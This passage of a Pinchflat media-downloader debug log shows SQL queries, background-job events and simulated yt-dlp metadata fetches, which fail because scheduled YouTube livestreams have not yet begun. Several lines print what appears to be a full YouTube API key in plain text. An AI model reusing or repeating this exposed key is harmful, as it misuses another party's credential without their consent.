m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:54.420 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:54.420 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 16:17:54.421 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:54.421 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:54.522 [debug] QUERY OK source="media_items" db=0.5ms idle=101.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 16:17:54.532 [debug] QUERY OK source="media_items" db=9.7ms idle=102.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:17:54.551 [debug] QUERY OK source="tasks" db=0.8ms idle=1.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799957, 1, ~U[2026-02-10 22:17:54Z], ~U[2026-02-10 22:17:54Z]] 16:17:54.552 [info] {"args":{"id":1},"id":3799918,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":132209,"event":"job:stop","queue_time":518475,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:57.991 [info] {"source":"oban","duration":10621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.008 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:18:27.999 [info] {"source":"oban","duration":7640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:58.010 [info] {"source":"oban","duration":10103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.009 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:19:28.019 [info] {"source":"oban","duration":7903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:58.030 [info] {"source":"oban","duration":10545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.010 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:20:28.042 [info] {"source":"oban","duration":10847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:34.583 [info] {"args":{"id":37},"id":3799919,"meta":{},"system_time":1770762034583202021,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:20:34.583 [debug] QUERY OK source="sources" db=0.1ms idle=704.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 16:20:34.584 [debug] QUERY OK source="settings" db=0.6ms idle=705.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:34.585 [debug] QUERY OK source="media_profiles" db=0.6ms idle=705.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:20:34.585 [debug] QUERY OK source="settings" db=0.6ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:34.585 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 16:20:34.585 [debug] QUERY OK source="settings" db=0.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:34.585 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:20:34.712 [debug] QUERY OK source="media_items" db=0.6ms idle=128.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 16:20:34.713 [debug] QUERY OK source="settings" db=0.0ms idle=128.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:34.713 [debug] QUERY OK source="settings" db=0.0ms idle=128.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:34.713 [debug] Running yt-dlp command for action: get_media_attributes 16:20:34.742 [debug] QUERY OK source="settings" db=0.0ms idle=156.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:34.742 [debug] QUERY OK source="settings" db=0.0ms idle=156.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:34.742 [debug] QUERY OK source="settings" db=0.0ms idle=30.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:34.743 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/20/97/2097654d0ff389e2c131f43a241bca79a9cbd4a8516aded7da7c1e9f98f6da3f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:20:36.107 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/20/97/2097654d0ff389e2c131f43a241bca79a9cbd4a8516aded7da7c1e9f98f6da3f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 17 hours. 16:20:36.107 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 17 hours.\n", 1} 16:20:36.108 [debug] QUERY OK source="media_items" db=1.0ms idle=529.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 16:20:36.110 [debug] QUERY OK source="tasks" db=0.1ms idle=231.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799958, 37, ~U[2026-02-10 22:20:36Z], ~U[2026-02-10 22:20:36Z]] 16:20:36.110 [info] {"args":{"id":37},"id":3799919,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1527083,"event":"job:stop","queue_time":11606,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:20:58.055 [info] {"source":"oban","duration":12312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.011 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:21:28.066 [info] {"source":"oban","duration":10541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:58.077 [info] {"source":"oban","duration":10143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.012 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:22:28.088 [info] {"source":"oban","duration":10258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:58.097 [info] {"source":"oban","duration":7718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.013 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:23:28.105 [info] {"source":"oban","duration":7702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:58.113 [info] {"source":"oban","duration":7820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.014 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:24:28.121 [info] {"source":"oban","duration":7622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:58.132 [info] {"source":"oban","duration":10201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.015 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:25:28.141 [info] {"source":"oban","duration":7800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:58.148 [info] {"source":"oban","duration":7391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.016 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:26:22.945 [info] {"args":{"id":19},"id":3799920,"meta":{},"system_time":1770762382945479378,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:22.946 [debug] QUERY OK source="sources" db=0.9ms idle=1067.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 16:26:22.947 [debug] QUERY OK source="settings" db=0.7ms idle=1068.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:22.948 [debug] QUERY OK source="media_profiles" db=0.8ms idle=1009.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:22.949 [debug] QUERY OK source="settings" db=0.8ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:22.949 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 16:26:22.949 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:22.949 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:23.127 [debug] QUERY OK source="media_items" db=0.6ms idle=179.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 16:26:23.127 [debug] QUERY OK source="settings" db=0.0ms idle=180.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:23.127 [debug] QUERY OK source="settings" db=0.0ms idle=179.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:23.127 [debug] Running yt-dlp command for action: get_media_attributes 16:26:23.130 [debug] QUERY OK source="settings" db=0.0ms idle=180.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:23.130 [debug] QUERY OK source="settings" db=0.0ms idle=180.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:23.130 [debug] QUERY OK source="settings" db=0.0ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:23.130 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b1/dc/b1dce5e014b6776f30698c5d5c00c882024bf73f1dc4876808b92760c7f0c26c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:26:24.513 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b1/dc/b1dce5e014b6776f30698c5d5c00c882024bf73f1dc4876808b92760c7f0c26c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 16:26:24.513 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 16:26:24.513 [debug] QUERY OK source="settings" db=0.1ms idle=1385.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:24.513 [debug] QUERY OK source="settings" db=0.0ms idle=1383.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:24.513 [debug] Running yt-dlp command for action: get_media_attributes 16:26:24.519 [debug] QUERY OK source="settings" db=0.0ms idle=1389.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", 